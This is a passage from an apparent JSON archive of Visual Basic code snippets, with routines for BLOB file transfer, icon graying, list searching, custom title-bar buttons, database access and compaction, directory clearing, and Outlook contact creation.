If Dir(strFullPath) <> \"\" Then\n Kill strFullPath\n End If\n lngBytesLeft = objField.ActualSize\n intFreeFile = FreeFile\n Open strFullPath For Binary As #intFreeFile\n Do Until lngBytesLeft <= 0\n lngReadBytes = lngBytesLeft\n If lngReadBytes > lngChunkSize Then\n lngReadBytes = lngChunkSize\n End If\n byBuffer = objField.GetChunk(lngReadBytes)\n Put #intFreeFile, , byBuffer\n lngBytesLeft = lngBytesLeft - lngReadBytes\n DoEvents\n Loop\n Close #intFreeFile\n End If\n If Err.Number <> 0 Or Err.LastDllError <> 0 Then\n BLOBToFile = False\n Else\n BLOBToFile = True\n End If\nEnd Function\n'***************************************************************\n' Abstract: Writes a binary file to a BLOB datafield. If the file\n' is big I would recommend that you set bUseStream = False.\n'\n' Input: strFullPath: Full path to the source file\n' objField: Field object that will contain the BLOB data.\n' bUseStream: (Optional) True = Use Stream methode, False = Use GetChunk\n' lngChunkSize: (Optional) Specifies the Chunk size to fetch with each GetChunk\n'\n' Output: True on success, False on failure\n'***************************************************************\nPublic Function FileToBLOB(ByVal strFullPath As String, ByRef objField As ADODB.Field, Optional ByVal bUseStream As Boolean = True, Optional ByVal lngChunkSize As Long = 8192) As Boolean\nOn Error Resume Next\nDim objStream As ADODB.Stream\nDim intFreeFile As Integer\nDim lngBytesLeft As Long\nDim lngReadBytes As Long\nDim byBuffer() As Byte\nDim varChunk As Variant\n If bUseStream Then\n Set objStream = New ADODB.Stream\n With objStream\n .Type = adTypeBinary\n .Open\n .LoadFromFile strFullPath\n objField.Value = .Read(adReadAll)\n End With\n Else\n With objField\n '<<--If the field does not support Long Binary data'-->>\n '<<--then we cannot load the data into the field.-->>\n If (.Attributes And adFldLong) <> 0 Then\n intFreeFile = FreeFile\n Open strFullPath For Binary Access Read As #intFreeFile\n lngBytesLeft = LOF(intFreeFile)\n Do Until lngBytesLeft <= 0\n If lngBytesLeft > lngChunkSize Then\n lngReadBytes = lngChunkSize\n Else\n lngReadBytes = lngBytesLeft\n End If\n ReDim byBuffer(lngReadBytes)\n Get #intFreeFile, , byBuffer()\n objField.AppendChunk byBuffer()\n lngBytesLeft = lngBytesLeft - lngReadBytes\n DoEvents\n Loop\n Close #intFreeFile\n Else\n Err.Raise -10000, \"FileToBLOB\", \"The Database Field does not support Long Binary Data.\"\n End If\n End With\n End If\n \n If Err.Number <> 0 Or Err.LastDllError <> 0 Then\n FileToBLOB = False\n Else\n FileToBLOB = True\n End If\nEnd Function"},{"WorldId":1,"id":24913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24936,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24962,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24963,"LineNumber":1,"line":"Sub DisableHDC(SourceDC As Long, SourceWidth As Long, SourceHeight As Long)\nConst BLACK = 0\nConst DARKGREY = &H808080\nConst WHITE = &HFFFFFF\nDim i As Long\nDim j As Long\nDim PixelColor As Long\nDim BackgroundColor As Long\nDim MemoryDC As Long\nDim MemoryBitmap As Long\nDim OldBitmap As Long\nDim BooleanArray() As Boolean\nReDim BooleanArray(SourceWidth, SourceHeight)\nMemoryDC = CreateCompatibleDC(SourceDC)\nMemoryBitmap = CreateCompatibleBitmap(SourceDC, SourceWidth, SourceHeight)\nOldBitmap = SelectObject(MemoryDC, MemoryBitmap)\nBitBlt MemoryDC, 0, 0, SourceWidth, SourceHeight, SourceDC, 0, 0, SRCCOPY\nBackgroundColor = GetBkColor(SourceDC)\n' Scan Pixels and if the pixel is black\n' it is flagged as true and saved in BooleanArray(x,y)\n' then colored dark grey (disabled color)\nFor i = 0 To SourceWidth\n For j = 0 To SourceHeight\n PixelColor = GetPixel(MemoryDC, i, j)\n If PixelColor <> BackgroundColor Then ' skip background color pixels\n If PixelColor = BLACK Then\n BooleanArray(i, j) = True\n SetPixel MemoryDC, i, j, DARKGREY\n Else\n SetPixel MemoryDC, i, j, BackgroundColor\n End If\n End If\n Next\nNext\n\n' For each Black pixel, draw a white shadow 1 pixel down and\n' 1 pixel to the right to create a shadow effect\nFor i = 0 To SourceWidth - 1\n For j = 0 To SourceHeight - 1\n If BooleanArray(i, j) = True Then\n If BooleanArray(i + 1, j + 1) = False Then\n SetPixel MemoryDC, i + 1, j + 1, WHITE\n End If\n End If\n Next\nNext\nBitBlt SourceDC, 0, 0, SourceWidth, SourceHeight, MemoryDC, 0, 0, SRCCOPY\nSelectObject MemoryDC, OldBitmap\nDeleteObject MemoryBitmap\nDeleteDC MemoryDC\nEnd Sub\nPrivate Sub Form_Load()\nMe.Picture = Me.Icon\nEnd Sub\n' Hold down mouse button to disable\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nConst PICSIZE = 32\nMe.Picture = Me.Icon\nMe.AutoRedraw = True\nMe.ScaleMode = vbPixels\nDisableHDC Me.hdc, PICSIZE, PICSIZE\nMe.Refresh\nEnd Sub\nPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\nMe.Picture = Me.Icon\nEnd Sub"},{"WorldId":1,"id":24966,"LineNumber":1,"line":"Option Explicit\nPublic Sub FindIndexStr(ctlSource As Control, _\n ByVal str As String, intKey As Integer, _\n Optional ctlTarget As Variant)\nDim lngIdx As Long\nDim FindString As String\nIf (intKey < 32 Or intKey > 127) And _\n (Not (intKey = 13 Or intKey = 8)) Then Exit Sub\nIf Not intKey = 13 Or intKey = 8 Then\n If Len(ctlSource.Text) = 0 Then\n FindString = str & Chr$(intKey)\n Else\n FindString = Left$(str, ctlSource.SelStart) & Chr$(intKey)\n End If\nEnd If\nIf intKey = 8 Then\n If Len(ctlSource.Text) = 0 Then Exit Sub\n Dim numChars As Integer\n numChars = ctlSource.SelStart - 1\n 'FindString = Left(str, numChars)\n If numChars > 0 Then FindString = Left(str, numChars)\nEnd If\nIf IsMissing(ctlTarget) And TypeName(ctlSource) = \"ComboBox\" Then\n Set ctlTarget = ctlSource\n If intKey = 13 Then\n Call SendMessageStr(ctlTarget.hWnd, _\n CB_SHOWDROPDOWN, True, 0&)\n Exit Sub\n End If\n lngIdx = SendMessageStr(ctlTarget.hWnd, _\n CB_FINDSTRING, -1, FindString)\nElseIf TypeName(ctlTarget) = \"ListBox\" Then\n If intKey = 13 Then Exit Sub '???\n lngIdx = SendMessageStr(ctlTarget.hWnd, _\n LB_FINDSTRING, -1, FindString)\nElse\n Exit Sub\nEnd If\n \nIf lngIdx <> -1 Then\n ctlTarget.ListIndex = lngIdx\n If TypeName(ctlSource) = \"TextBox\" Then ctlSource.Text = ctlTarget.List(lngIdx)\n ctlSource.SelStart = Len(FindString)\n ctlSource.SelLength = Len(ctlSource.Text) - ctlSource.SelStart\nEnd If\nintKey = 0\nEnd Sub"},{"WorldId":1,"id":24970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24994,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25023,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25041,"LineNumber":1,"line":"*ADD THIS SECTION OF CODE TO A MODULE*\n**************************************\n'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n'|\n'| Written By: Megatron\n'|\n'| E-mail: mega__tron@hotmail.com (yes it's 2 underscores)\n'|\n'| The following code snippet will add a fourth icon to the control box (next\n'| to the minimize, maximize and close buttons). This button will contain a\n'| circle, you can easily modify it so that ANY other graphic can be in its\n'| place.\n'|\n'| Please E-mail me, as I would love to hear you comments, (be it compliments\n'| or critisism).\n'|\n'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nPublic Type POINTAPI\n x As Long\n y As Long\nEnd Type\nPublic Declare Function Rectangle Lib \"gdi32\" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\nPublic Declare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As Long) As Long\nPublic Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPublic Declare Function CreateSolidBrush Lib \"gdi32\" (ByVal crColor As Long) As Long\nPublic Declare Function CreatePen Lib \"gdi32\" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long\nPublic Declare Function Ellipse Lib \"gdi32\" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\nPublic Declare Function LineTo Lib \"gdi32\" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long\nPublic Declare Function MoveToEx Lib \"gdi32\" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, lpPoint As POINTAPI) As Long\nPublic Declare Function GetWindowLong Lib \"user32\" Alias \"GetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long) As Long\nPublic Declare Function SetWindowLong& Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long)\nPublic Declare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPublic Declare Function GetWindowDC Lib \"user32\" (ByVal hwnd As Long) As Long\nPublic Declare Function ReleaseDC Lib \"user32\" (ByVal hwnd As Long, ByVal hdc As Long) As Long\nPublic Declare Function ScreenToClient Lib \"user32\" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long\nPublic Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer\nPublic Const GWL_WNDPROC = (-4)\nPublic Const WM_NCPAINT = &H85\nPublic Const WM_PAINT = &HF\nPublic Const WM_SIZE = &H5\nPublic Const WM_NCLBUTTONDOWN = &HA1\nPublic Const WM_NCLBUTTONUP = &HA2\nPublic Const WM_NCHITTEST = &H84\nPublic Const WM_NCACTIVATE = &H86\nPublic Const WM_ACTIVATEAPP = &H1C\nPublic Const WM_ACTIVATE = &H6\nPublic Const WM_NCMOUSEMOVE = &HA0\nPublic Const WM_MOUSEMOVE = &H200\nPublic Const WM_NCLBUTTONDBLCLK = &HA3\nPublic WndProcOld As Long\nPublic gSubClassedForm As Form\nPrivate bPressed As Boolean\n'LOWORD and HIWORD are needed to extract point values from lParam\nPublic Function LoWord(ByVal LongVal As Long) As Integer\n LoWord = LongVal And &HFFFF&\nEnd Function\nPublic Function HiWord(ByVal LongVal As Long) As Integer\n If LongVal = 0 Then\n HiWord = 0\n Exit Function\n End If\n HiWord = LongVal \\ &H10000 And &HFFFF&\nEnd Function\nPublic Function WindProc(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n Dim lWidth As Long\n Dim POINTS As POINTAPI\n \n 'Draw the button whenever on any event that will cause it to erase\n If wMsg = WM_PAINT Or wMsg = WM_ACTIVATE Or wMsg = WM_ACTIVATEAPP Or wMsg = WM_NCACTIVATE Or wMsg = WM_NCPAINT Or (wMsg = WM_SIZE And wParam <> 1) Then\n DrawControlBox hwnd, RGB(192, 192, 192), vbBlack, RGB(128, 128, 128), vbWhite, RGB(224, 224, 224), 0\n End If\n \n 'Draws an \"inverted\" form of the button when it's pressed\n If wMsg = WM_NCLBUTTONDOWN Then\n lWidth = gSubClassedForm.Width / Screen.TwipsPerPixelX\n MakeClientPoints hwnd, lParam, POINTS\n If (POINTS.x > (lWidth - 80)) And (POINTS.x < (lWidth - 60)) Then\n DrawControlBox hwnd, RGB(192, 192, 192), vbWhite, RGB(224, 224, 224), vbBlack, RGB(128, 128, 128), 1\n bPressed = True\n Exit Function\n End If\n End If\n \n 'Resets the original colors when the mouse is unpressed\n If wMsg = WM_NCLBUTTONUP Then\n DrawControlBox hwnd, RGB(192, 192, 192), vbBlack, RGB(128, 128, 128), vbWhite, RGB(224, 224, 224), 0\n lWidth = gSubClassedForm.Width / Screen.TwipsPerPixelX\n MakeClientPoints hwnd, lParam, POINTS\n If (POINTS.x > (lWidth - 74)) And (POINTS.x < (lWidth - 60)) Then\n If bPressed = True Then\n bPressed = False\n Call gSubClassedForm.ControlBoxClick\n End If\n Exit Function\n End If\n bPressed = False\n End If\n \n If wMsg = WM_NCHITTEST And GetAsyncKeyState(vbLeftButton) Then\n lWidth = gSubClassedForm.Width / Screen.TwipsPerPixelX\n MakeClientPoints hwnd, lParam, POINTS\n If (POINTS.x > (lWidth - 74)) And (POINTS.x < (lWidth - 60)) And (POINTS.y < 0) And (POINTS.y > -20) Then\n DrawControlBox hwnd, RGB(192, 192, 192), vbWhite, RGB(224, 224, 224), vbBlack, RGB(128, 128, 128), 1\n Else\n DrawControlBox hwnd, RGB(192, 192, 192), vbBlack, RGB(128, 128, 128), vbWhite, RGB(224, 224, 224), 0\n End If\n \n End If\n \n If wMsg = WM_NCLBUTTONDBLCLK Then\n lWidth = gSubClassedForm.Width / Screen.TwipsPerPixelX\n MakeClientPoints hwnd, lParam, POINTS\n If (POINTS.x > (lWidth - 74)) And (POINTS.x < (lWidth - 60)) Then Exit Function\n End If\n \n WindProc = CallWindowProc(WndProcOld&, hwnd&, wMsg&, wParam&, lParam&)\n \nEnd Function\n'Converts screen coordinates of a DWORD to a point structure, of a client\nSub MakeClientPoints(ByVal hwnd As Long, ByVal pts As Long, PT As POINTAPI)\n PT.x = LoWord(pts)\n PT.y = HiWord(pts)\n ScreenToClient hwnd, PT\nEnd Sub\n'********************************************************************************\n'FUNCTION: DrawControlBox\n'ARGUMENTS: hwnd handle of window to draw on to\n' bGround Background color of button\n' Bdm1 Bottom border color\n' Bdm2 2nd level bottom border\n' Top1 Top border color\n' Top2 2nd level top border\n' lOffset Amount to offset the ellipse by\n'\n'COMMENTS: This is the sub routine that draws the actual control box. It is not\n' a generic function, however. You may specify the border colors, but\n' you cannot specify the shape inside or the size. I will try to update this later\n'********************************************************************************\nSub DrawControlBox(ByVal hwnd As Long, ByVal bGround As Long, ByVal Bdm1 As Long, ByVal Bdm2 As Long, ByVal Top1 As Long, ByVal Top2 As Long, ByVal lOffset As Byte)\n \n Dim hBrush As Long 'Handle of the background brush\n Dim hOldBrush As Long 'Handle of the previous brush\n Dim hPen As Long 'Handle of the new pen\n Dim hOldPen As Long 'Handle of the previous pen\n Dim lWidth As Long 'Width of the window\n Dim DC As Long 'Device context of window\n Dim PT As POINTAPI 'Stores previous points in MoveToEx\n lWidth = gSubClassedForm.Width / Screen.TwipsPerPixelX\n DC = GetWindowDC(hwnd)\n hBrush = CreateSolidBrush(bGround)\n hOldBrush = SelectObject(DC, hBrush)\n hPen = CreatePen(0, 1, Top1)\n hOldPen = SelectObject(DC, hPen)\n Rectangle DC, lWidth - 74, 6, lWidth - 58, 20\n DeleteObject (SelectObject(DC, hOldPen))\n \n 'Draw ellipse (Black, regardless of other colors)\n hPen = CreatePen(0, 1, vbBlack)\n hOldPen = SelectObject(DC, hPen)\n Ellipse DC, lWidth - 70 + lOffset, 8 + lOffset, lWidth - 63 + lOffset, 17 + lOffset\n DeleteObject (SelectObject(DC, hOldPen))\n \n 'Draw bottom border\n hPen = CreatePen(0, 1, Bdm1)\n hOldPen = SelectObject(DC, hPen)\n DeleteObject (hOldPen)\n MoveToEx DC, lWidth - 74, 19, PT\n LineTo DC, lWidth - 58, 19\n MoveToEx DC, lWidth - 59, 6, PT\n LineTo DC, lWidth - 59, 19\n DeleteObject (SelectObject(DC, hOldPen))\n DeleteObject (SelectObject(DC, hOldBrush))\n \n 'Draw 2nd bottom border\n hPen = CreatePen(0, 1, Bdm2)\n hOldPen = SelectObject(DC, hPen)\n DeleteObject (hOldPen)\n MoveToEx DC, lWidth - 73, 18, PT\n LineTo DC, lWidth - 59, 18\n MoveToEx DC, lWidth - 60, 7, PT\n LineTo DC, lWidth - 60, 19\n DeleteObject (SelectObject(DC, hOldPen))\n \n 'Draw 2nd top border\n hPen = CreatePen(0, 1, Top2)\n hOldPen = SelectObject(DC, hPen)\n DeleteObject (hOldPen)\n MoveToEx DC, lWidth - 73, 7, PT\n LineTo DC, lWidth - 60, 7\n MoveToEx DC, lWidth - 73, 7, PT\n LineTo DC, lWidth - 73, 18\n DeleteObject (SelectObject(DC, hOldPen))\n \n ReleaseDC hwnd, DC\nEnd Sub\nPublic Sub SubClassForm(frm As Form)\n WndProcOld& = SetWindowLong(frm.hwnd, GWL_WNDPROC, AddressOf WindProc)\n Set gSubClassedForm = frm\nEnd Sub\nPublic Sub UnSubclassForm(frm As Form)\n SetWindowLong frm.hwnd, GWL_WNDPROC, WndProcOld&\n WndProcOld& = 0\nEnd Sub\n\n\n\n'*************************************************\n'ADD THIS SECTION OF CODE TO A FORM (CALLED FORM1)\n'*************************************************\nPrivate Sub Form_Load()\n SubClassForm Form1\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n UnSubclassForm Form1\nEnd Sub\n'Make sure that the Sub \"ControlBoxClick()\" is in the Form that you are\n'adding the control box to. Whatever is in this sub routine will be executed\n'when the button is pressed\nPublic Sub ControlBoxClick()\n ' <-- Add code for when the button is clicked -->\n MsgBox \"You pressed the button\"\nEnd Sub"},{"WorldId":1,"id":25049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25086,"LineNumber":1,"line":"'SHELL EXECUTE FUNCTION\nDeclare Function ShellExecuteEx& _\nLib \"Shell32.dll\" Alias \"ShellExecuteExA\" _\n (ByRef lpExecInfo As SHELLEXECUTEINFO)\n'Flag Needed\nConst SEE_MASK_INVOKEIDLIST& = &HC\n'SHELL EXECUTE STRUCT\nType SHELLEXECUTEINFO\n cbSize As Long\n fMask As Long\n hWnd As Long\n lpVerb As String\n lpFile As String\n lpParameters As String\n lpDirectory As String\n nShow As Long\n hInstApp As Long\n lpIDList As Long\n lpClass As String\n hkeyClass As Long\n dwHotKey As Long\n hIcon As Long\n hProcess As Long\nEnd Type\n'-------------------------------------------------'Procedure: ShowFileProperties(ByVal FileName$)\n'Purpose: You can invoke the a files Property\n'dialog box for a file with the \n'ShellExecuteEx API.\n' In the SHELLEXECUTEINFO structure, set\n'the SEE_MASK_INVOKEIDLIST flag and\n'the \"properties\" verb as follows\n'Input: ByVal FileName As String\n'Output: File Properties Dialog Box\n'-----------------------------------------------\nPublic Sub ShowFileProperties(ByVal FileNamePath)\nDim sei As SHELLEXECUTEINFO\n sei.cbSize = Len(sei) \n sei.lpFile = FileNamePath \n sei.lpVerb = \"properties\" \n sei.fMask = SEE_MASK_INVOKEIDLIST \n ShellExecuteEx sei \nEnd Sub\n'-------------------------------------------------\n"},{"WorldId":1,"id":25087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25115,"LineNumber":1,"line":"'Use DAO:\nSet MyDB = DBEngine.OpenDatabase(TheMDBNameWithFullPath,False,False,\";Pwd=\" & pwd)\nUse Data Control\nWith Data1\n.DatabaseName=App.Path & \"\\my.mdb\"\n.RecordSource=\"mytable\"\n.Connect=\";Pwd=\" & pwd\n.Refresh\nEnd With\n\nUse OLE Automation\n Dim objAccess as Object\n '----------------------------------------------------------------------\n 'This procedure sets a module-level variable, objAccess, to refer to\n 'an instance of Microsoft Access. The code first tries to use GetObject\n 'to refer to an instance that might already be open. If an instance is\n 'not already open, the Shell() function opens a new instance and\n 'specifies the user and password, based on the arguments passed to the\n 'procedure.\n '\n 'Calling example: OpenSecured varUser:=\"Admin\", varPw:=\"\"\n '----------------------------------------------------------------------\n Sub OpenSecured(Optional varUser As Variant, Optional varPw As Variant)\n Dim cmd As String\n On Error Resume Next\n Set objAccess = GetObject(, \"Access.Application\")\n If Err <> 0 Then 'no instance of Access is open\n If IsMissing(varUser) Then varUser = \"Admin\"\n cmd = \"C:\\Program Files\\Microsoft Office\\Office\\MSAccess.exe\"\n cmd = cmd & \" /nostartup /user \" & varUser\n If Not IsMissing(varPw) Then cmd = cmd & \" /pwd \" & varPw\n Shell pathname:=cmd, windowstyle:=6\n Do 'Wait for shelled process to finish.\n Err = 0\n Set objAccess = GetObject(, \"Access.Application\")\n Loop While Err <> 0\n End If\n"},{"WorldId":1,"id":25116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25118,"LineNumber":1,"line":"For example: You could have a function that returns error information which is called like this:\n \n \nPrivate Sub MySub()\n \nOn Error GoTo err_handler\n \n'....code here that rasies an error\n \nerr_handler:\n \nIf Err.Number <> 0 Then\n \n Dim Tmp() As String\n \n Tmp = ErrorHandler\n \n MsgBox \"Error Description: \" & Tmp(0) & \" Error Number #:\" & Tmp(1) & \" Source: \" & Tmp(2)\n \nErase Tmp\n \nEnd If\nEnd Sub\n \n \n \n \nPublic Function ErrorHandler() As String()\n \nDim Errors(0 To 2) As String\n \n Errors(0) = Err.Description\n \n Errors(1) = Err.Number\n \n Errors(2) = Err.Source\n \n Err.Clear\n \n ErrorHandler = Errors\n \nEnd Function"},{"WorldId":1,"id":25121,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25122,"LineNumber":1,"line":"Option Explicit \n \n\n'Must have reference to Microsoft Jet And Replication Objects x.x Library \n\nPublic Sub CompactDB(DBName As String) \n \nDim jr As jro.JetEngine \nDim strOld As String, strNew As String \nDim x As Integer \n \nSet jr = New jro.JetEngine \n \nstrOld = DBName \nx = InStrRev(strOld, "\\") \nstrNew = Left(strOld, x) \nstrNew = strNew & "chngMe.mdb" \n \n'Use Engine Type = 4 for Access 97, Engine Type = 5 for Access 2000 \njr.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strOld,\n_ \n"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strNew & ";Jet\nOLEDB:Engine Type=4" \n \nKill strOld \nDoEvents \nName strNew As strOld \n \nSet jr = Nothing \n \nEnd Sub \n\n"},{"WorldId":1,"id":25124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25128,"LineNumber":1,"line":"Private Sub ClearDirectory(psDirName)\n'This function attempts to delete all files\n'and subdirectories of the given \n'directory name, and leaves the given \n'directory intact, but completely empty.\n'\n'If the Kill command generates an error (i.e.\n'file is in use by another process - \n'permission denied error), then that file and\n'subdirectory will be skipped, and the \n'program will continue (On Error Resume Next).\n'\n'EXAMPLE CALL:\n' ClearDirectory \"C:\\Temp\\\"\nDim sSubDir\nIf Len(psDirName) > 0 Then\n If Right(psDirName, 1) <> \"\\\" Then\n psDirName = psDirName & \"\\\"\n End If\n 'Attempt to remove any files in directory\n 'with one command (if error, we'll \n 'attempt to delete the files one at a\n 'time later in the loop):\n On Error Resume Next\n Kill psDirName & \"*.*\"\n DoEvents\n \n sSubDir = Dir(psDirName, vbDirectory)\n Do While Len(sSubDir) > 0\n 'Ignore the current directory and the\n 'encompassing directory:\n If sSubDir <> \".\" And _\n sSubDir <> \"..\" Then\n 'Use bitwise comparison to make \n 'sure MyName is a directory:\n If (GetAttr(psDirName & sSubDir) And _\n vbDirectory) = vbDirectory Then\n \n 'Use recursion to clear files\n 'from subdir:\n ClearDirectory psDirName & _\n sSubDir & \"\\\"\n 'Remove directory once files\n 'have been cleared (deleted)\n 'from it:\n RmDir psDirName & sSubDir\n DoEvents\n \n 'ReInitialize Dir Command\n 'after using recursion:\n sSubDir = Dir(psDirName, vbDirectory)\n Else\n 'This file is remaining because\n 'most likely, the Kill statement\n 'before this loop errored out\n 'when attempting to delete all\n 'the files at once in this\n 'directory. This attempt to\n 'delete a single file by itself\n 'may work because another \n '(locked) file within this same\n 'directory may have prevented\n '(non-locked) files from being\n 'deleted:\n Kill psDirName & sSubDir\n sSubDir = Dir\n End If\n Else\n sSubDir = Dir\n End If\n Loop\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":25129,"LineNumber":1,"line":"Private Sub Form_Load()\n'First, Project->References->Microsoft ActiveX Data Objects\n'Now, declare the connection\nDim adoConn As New adodb.connection\n'Declare the recordset\nDim adoRS As New adodb.Recordset\n'Declare the querey\nDim sqlString As String\n'Set the connection string:\n'Driver tells it were using SQL Server\n'Server says what it is named (click the properties of your server through Enterprise Manager. If you don't have E.M. you must reinstall)\n'Database is the database within the SQL Server we want\n'Also tell it our login/password (which you can setup by adding a user to your database, there is a button that says add user)\nadoConn.ConnectionString = \"Driver={SQL Server}; \" & _\n \"Server=MYSQLSERVER; \" & _\n \"Database=testdatabase; \" & _\n \"UID=admin; \" & _\n \"PWD=test\"\n'Set the querey\nsqlString = \"SELECT * FROM personal\"\n'Open the connection\nadoConn.Open\n'Execute the querey:\n'Tell it what we want\n'Tell it where to get it\n'Allow the user to fully navigate the recordset\n'Tell it that were going to lock the records right after we edit them\n'Tell the server that the command is in text format\nadoRS.Open sqlString, _\n adoConn, _\n adOpenKeyset, _\n adLockPessimistic, _\n adCmdText\n'Loop through our recordset\nWhile Not adoRS.EOF\n lstNames.AddItem Trim(adoRS(\"id\")) & \". \" & _\n Trim(adoRS(\"fname\")) & \" \" & Trim(adoRS(\"lname\"))\n 'Get the next record\n adoRS.MoveNext\nWend\n'Close the recordset\nadoRS.Close\n'Close the connection\nadoConn.Close\n'Set the objects to nothing\nSet adoRS = Nothing\nSet adoConn = Nothing\nEnd Sub"},{"WorldId":1,"id":25133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25134,"LineNumber":1,"line":"Private Sub cmdAddOutlook_Click()\n 'I have used this code in two ways. I have made this one here just work in the cmdbutton that I created on the Access form and placed all the code in here\n 'You can also make this a function\n \n Dim oOutlook As Outlook.Application\n Dim oContact As Outlook.ContactItem\n 'Create Object\n \n Set oOutlook = New Outlook.Application\n \n 'Create and new Contact\n \n Set oContact = oOutlook.CreateItem(olContactItem)\n With oContact\n 'Change what you need in here. All Vairables after the = sign are fields in my database.\n 'You will need to change them to fields that you have in yours.\n 'To find a list of the items here you can set go to the object browser.\n \n \n .FullName = LastName & \",\" & FirstName\n .BusinessAddress = Address\n .BusinessAddressCity = City\n .BusinessAddressState = State\n .BusinessAddressPostalCode = Zip\n .HomeTelephoneNumber = HomePhone\n .BusinessTelephoneNumber = BusPhone\n .MobileTelephoneNumber = CellPhone\n .Email1Address = Email\n .CompanyName = CompanyName\n .Categories = CompanyName\n .Save\n End With\n \n \n 'Change msgbox ot what you want it to say. I just left it 